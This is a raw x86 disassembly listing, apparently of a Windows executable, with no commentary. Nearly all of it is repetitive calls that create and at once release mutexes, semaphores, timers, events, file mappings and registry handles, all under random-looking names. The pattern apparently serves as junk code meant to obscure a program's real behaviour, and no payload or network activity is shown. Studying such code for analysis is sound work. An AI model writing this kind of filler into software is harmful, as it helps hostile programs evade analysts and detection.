mov dword [0x4154e4], 0x412a1c
push eax
push 0x244
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.7emrsf18
push str.zmmdpyrk
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.ev_l5btil4g
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xbb
push 0
mov dword [0x415554], 0x412a64
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.XML2te3wzjm
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
xor eax, eax
mov dword [0x415510], 0x412aa8
push eax
push 0x1254
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x38]
push eax
push edi
push 0
push str.regwhqrmuxf
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.XML5m5fcitf
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.MTXq0i4v4dh
push esi
push esi
mov dword [0x415428], 0x412ac4
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
lea eax, [ebp - 4]
push eax
push edi
push 0
test esi, esi
je 0x40658d
push str.regxvda30pg
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x406599
push str.regagddw4pd
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_q6b4gopx
push 1
push 0
mov dword [0x4152e0], 0x412af0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.WTMR_9ksspirz
push 1
push 0
call esi
push str.yu7iru76
push str.pvbb686l
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test esi, esi
je 0x4065ee
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.tpedgiw40
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.ev_2c3mmtxx
push 0
push 1
push 0
mov dword [0x4154c4], 0x412b38
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_g4p76flw
push 1
push 0
call esi
push str.5acqin79
push str.dzmo3sto
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_bpc562lg
push 1
push 0
mov dword [0x415594], 0x412b78
call esi
push str.tncbfalyv
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x3c]
xor esi, esi
push eax
push edi
push esi
push str.regzem857yt
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XMLdx7qq2zl
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 0xd28
push esi
push 4
push esi
push 0xffffffffffffffff
mov dword [0x4153dc], 0x412bb8
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.t34c2erbh
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.l6v8s9pt
push str.uewxdzc6
call esi
push 8
pop edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub edi, 1
jne 0x4066cb
push str.WTMR_yshnda3n
push 1
push edi
mov dword [0x4152cc], 0x412be8
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x4066fb
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x406706
push str.tjwy79nuh
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.WTMR_qlhy2v5e
push 1
push 0
mov dword [0x415464], 0x412c10
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x406737
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.twwrxe11t
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x406743
push str.7g3xpi8c
push str.hgdtol80
call esi
push str.WTMR_0gxssw0n
push 1
xor esi, esi
mov dword [0x415290], 0x412c54
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x40]
mov edi, 0x20019
push eax
push edi
push esi
push str.reg77ol293m
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.ev_d5dl6cn0
push esi
push 1
push esi
mov dword [0x415298], 0x412c84
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_jcbcuc2d
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x7e0]
mov dword [0x4154b0], 0x412cb8
push eax
push str.s_btvkxvve
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTX0qv1dney
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x406808
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.trx9mz4q
push str.fwo8qmy1
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x40681a
lea eax, [ebp - 4]
push eax
push edi
push esi
push str.reg1eo8jzr1
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SMPHR_m9ws00u2
push 1
push esi
push esi
mov dword [0x415420], 0x412d10
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.034sywwj
push str.66jru6pe
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
test eax, eax
jne 0x406861
push str.taj89c4ja
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x920]
mov dword [0x415370], 0x412d60
push eax
push str.s_lzl3fvbh
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.XML3qcfvdr0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call esi
xor eax, eax
mov dword [0x4153f4], 0x412d8c
push eax
push 0x11c8
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x44]
xor esi, esi
push eax
push edi
push esi
push str.regruzsx45f
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0xa30
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.WTMR_nil1mptf
push 1
push esi
mov dword [0x415450], 0x412da0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.tugt9cb86
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_qzalua51
push 1
push 0
call esi
test eax, eax
je 0x406939
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x406944
push str.t3yy5hx7f
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.WTMR_ugvrlo4p
push 1
push 0
mov dword [0x415350], 0x412df0
call esi
test eax, eax
je 0x406966
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x406976
push str.4r9o93h2
push str.29u5sjf7
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0x28c
xor esi, esi
mov dword [0x415400], 0x412e2c
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.XMLyoas4gwa
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.MTXmslmxhpa
push esi
push esi
mov dword [0x41559c], 0x412e48
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4069d8
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4069e8
push str.ypptblnk
push str.93ymh1yl
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push 0xcf8
push esi
push 4
push esi
push 0xffffffffffffffff
mov dword [0x415314], 0x412e78
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.z20edpyo
push str.pggjh1b9
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_ial73s9n
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push esi
push 0x9ed
push esi
push 4
push esi
push 0xffffffffffffffff
mov dword [0x415550], 0x412eb0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ev_5t98n5py
xor esi, esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.WTMR_vgxvblr9
push 1
push esi
mov dword [0x415410], 0x412ed0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x48]
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.regk2j06a4q
push ebx
call esi
mov eax, dword [ebp - 8]
test eax, eax
je 0x406ac2
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.reglw5wpzw9
push ebx
call esi
push 0x280
push 0
mov dword [0x4151dc], 0x412f08
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.MTXwnqlw7f5
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x406b16
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push edi
push esi
push str.reghy8wl8c3
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x406b22
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
xor esi, esi
push str.xy4gi4ax
push str.jl1jwxby
mov dword [0x415250], 0x412f80
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0xa60]
mov dword [0x415444], 0x412fcc
push eax
push str.s_yj3tftko
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push 0xdbe
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.ev_5nv6f3nn
push esi
push 1
push esi
mov dword [0x4153f8], 0x412fe0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x7a
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x88e
push 0
mov dword [0x4153e8], 0x412ffc
call esi
push str.zu8idfd3
push str.auf9beur
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.WTMR_99rlsumr
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.tt8qdx8xs
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.MTXdp4hrkpc
push esi
push esi
mov dword [0x4153ec], 0x41304c
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x406c33
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.regkq6yqp3l
push ebx
call esi
jmp 0x406c52
lea eax, [ebp - 4]
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.regg7fswawr
push ebx
call esi
push str.touvz4yxu
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.WTMR_zt37sn59
push 1
push 0
mov dword [0x4153e0], 0x413094
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x406c76
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.SMPHR_ydu7mpbk
push 1
push 0
push 0
mov dword [0x415338], 0x4130ac
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x406caf
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regqg9vh4c7
push ebx
call esi
push str.ev_86leqaml
push 0
push 1
push 0
mov dword [0x4154d4], 0x4130d4
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.WTMR_xkx874i1
push 1
push 0
call esi
test eax, eax
je 0x406cf6
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.WTMR_bgivirkc
push 1
push 0
mov dword [0x415518], 0x413100
call esi
test eax, eax
je 0x406d16
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.ev_6g0eqque
push 0
push 1
push 0
mov dword [0x41543c], 0x413128
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0xba0]
push eax
push str.s_8auvc0l9
call esi
lea eax, [ebp - 0xce0]
mov dword [0x415530], 0x413150
push eax
push str.s_nldpxaw3
call esi
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.MTXoiqtn6bi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x406daf
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.reglzq047oe
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.fwf6kpnv
push str.usndohya
jmp 0x406db9
push str.ddnfhzcd
push str.m5gx1ff9
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_2nvvunw3
push 1
push 0
mov dword [0x415584], 0x4131b8
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push str.MTXg8qzp37b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x406e15
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.tii3s19oc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x406e22
push str.tm45160fz
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call esi
push str.WTMR_ualpgkv4
push 1
push 0
mov dword [0x4152d4], 0x4131fc
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x406e53
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.twae417m7
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x406e63
push str.zwzj9962
push str.jkcqpz91
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.XML9gvej9h4
push 1
push 0
push 0
mov dword [0x41546c], 0x413244
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
push str.SMPHR_jg6t9q0y
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
call esi
push str.SMPHR_yzllmbjp
push 1
push 0
push 0
mov dword [0x41545c], 0x41326c
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.taesuztyb
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x415360], 0x413298
call esi
push str.MTXbb0xb3aq
push 0
push 0
mov dword [0x4153d8], 0x4132b0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x406f0f
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x406f26
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regz2ent482
push ebx
call esi
push str.WTMR_vj6mwcwp
push 1
push 0
mov dword [0x415460], 0x4132e0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x406f5c
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.n3z93478
push str.ntw88iq3
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x406f6b
lea eax, [ebp - 4]
push eax
push edi
push 0
push str.regce7kwj9q
push ebx
call esi
push str.ev_i086vllv
push 0
push 1
push 0
mov dword [0x41532c], 0x413320
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x544
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 2
pop eax
mov dword [0x41555c], 0x413338
mov esi, eax
mov dword [ebp - 8], eax
push str.2n2faeuo
push str.ayen527g
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
sub esi, 1
jne 0x406fbc
push str.ev_4k4ko7qm
push esi
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.ev_4rnxt9s6
push 0
push 1
push 0
mov dword [0x4152a4], 0x413360
call esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTXe327bo5n
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40703c
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.n5bb3zd6
push str.elgv7c8k
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x407047
push str.tkplnbg2e
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.ev_alxsyqul
push esi
push 1
push esi
mov dword [0x415438], 0x4133a0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0xe42
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 0xd29
push esi
push 4
push esi
push 0xffffffffffffffff
mov dword [0x415264], 0x4133b8
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x4c]
push eax
push edi
push 0
push str.regny9zyruk
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d3
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push 0x1127
push esi
push 4
push esi
push 0xffffffffffffffff
mov dword [0x415368], 0x4133c8
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.t0f65yjrs
call esi
push str.MTXbtdwj880
push 0
push 0
mov dword [0x415318], 0x4133d8
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
test eax, eax
je 0x40714a
push str.5mg6hupa
push str.nrpju4vm
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x407151
push str.t04d5oggn
call esi
push str.SMPHR_exedww6h
push 1
push 0
push 0
mov dword [0x4153fc], 0x413410
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.t0k0qgzhs
mov esi, eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x407193
push str.ti0awfsgz
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0xbc4
xor esi, esi
mov dword [0x415390], 0x413444
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.tsscm6o02
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.MTXmvrh7ztn
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
test eax, eax
je 0x4071f6
lea eax, [ebp - 0xc]
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.regrf9z1gk8
push ebx
call esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x407206
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.XML6i8tbiz4
push 1
push 0
push 0
mov dword [0x415484], 0x413474
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x50]
push eax
push edi
push 0
push str.regpde2xgxq
push ebx
call esi
push str.WTMR_n0mjegag
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x407255
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0xe20]
mov dword [0x41553c], 0x4134a4
push eax
push str.s_8jemktl5
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0xabd
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea eax, [ebp - 0x54]
push eax
push edi
push 0
push str.regx3oiay4n
push ebx
call esi
mov dword [0x4154cc], 0x4134c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 7
mov dword [0x415394], 0x4134d8
pop esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4072b1
push str.SMPHR_ropeeayu
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea eax, [ebp - 0x58]
push eax
push edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.reg0t0umwmg
push ebx
call esi
push str.WTMR_ugnpawe1
push 1
push 0
mov dword [0x415280], 0x4134f8
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40731f
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.t7nl0bli
push str.eossb8os
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
mov dword [0x4154a4], 0x41352c
push eax
push 0xde6
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.SMPHR_vubeum19
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.SMPHR_5fmm6p4d
push 1
push 0
push 0
mov dword [0x415354], 0x413544
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40739f
lea eax, [ebp - 0xc]
push eax
push edi
push 0
push str.regsz99yd3n
push ebx
call esi
push 0x51d
push 0
mov dword [0x415560], 0x413580
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.MTXdqlt5zog
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4073e8
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0xc]
push eax
push edi
push 0
push str.regqjwlhsk4
push ebx
call esi
jmp 0x4073fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bjc3eotu
push str.8g4ay57b
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0xf60]
mov dword [0x415590], 0x4135b8
push eax
push str.s_8hs6sw1c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_b5znb3nh
xor esi, esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.SMPHR_7b344ueg
push 1
push esi
push esi
mov dword [0x415404], 0x4135d8
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.ruwbt0xg
push str.2zmr41xf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x407483
push str.htp7no50
push str.9tcr2m0b
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
mov dword [0x415324], 0x41361c
push eax
push 0xb03
push eax
push 4
push eax
push 0xffffffffffffffff
mov dword [0x4153c0], 0x41362c
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x5c]
push eax
push edi
push 0
push str.regylii1kfu
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.tu4t8kgkh
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.SMPHR_7akf9o9a
push 1
xor esi, esi
mov dword [0x415588], 0x413664
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
